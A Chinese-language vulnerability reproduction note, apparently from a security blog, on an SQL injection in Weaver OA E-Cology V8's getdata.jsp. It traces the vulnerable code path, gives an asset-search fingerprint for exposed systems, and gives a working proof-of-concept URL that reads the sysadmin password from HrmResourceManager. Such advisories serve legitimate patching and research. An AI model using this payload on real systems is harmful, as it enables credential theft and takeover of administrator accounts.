泛微OA E-Cology getdata.jsp SQL注入漏洞

漏洞描述

泛微OA V8 存在SQL注入漏洞,攻击者可以通过漏洞获取管理员权限和服务器权限。

漏洞影响

泛微OA V8

网络测绘

app=”泛微-协同办公OA”

漏洞复现

在getdata.jsp中,直接将request对象交给

weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :

方法处理

20231207105416542-fanwei-17.d5cc9a83_2023-12-07_10-54-03 (1)

在getData方法中,判断请求里cmd参数是否为空,如果不为空,调用proc方法

20231207105522280-fanwei-18.0ef30eb5_2023-12-07_10-55-09 (1)

Proc方法4个参数,(“空字符串”,”cmd参数值”,request对象,serverContext对象)

在proc方法中,对cmd参数值进行判断,当cmd值等于getSelectAllId时,再从请求中获取sql和type两个参数值,并将参数传递进getSelectAllIds(sql,type)方法中。

20231207105606517-fanwei-19.290f9564_2023-12-07_10-55-51 (1)

POC

http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager

查询HrmResourceManager表中的password字段,页面中返回了数据库第一条记录的值(sysadmin用户的password)

20231207105651901-fanwei-20.2a098595_2023-12-07_10-56-38 (1)

解密后即可登录系统

20231207105724618-fanwei-21.960e295c_2023-12-07_10-57-10 (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容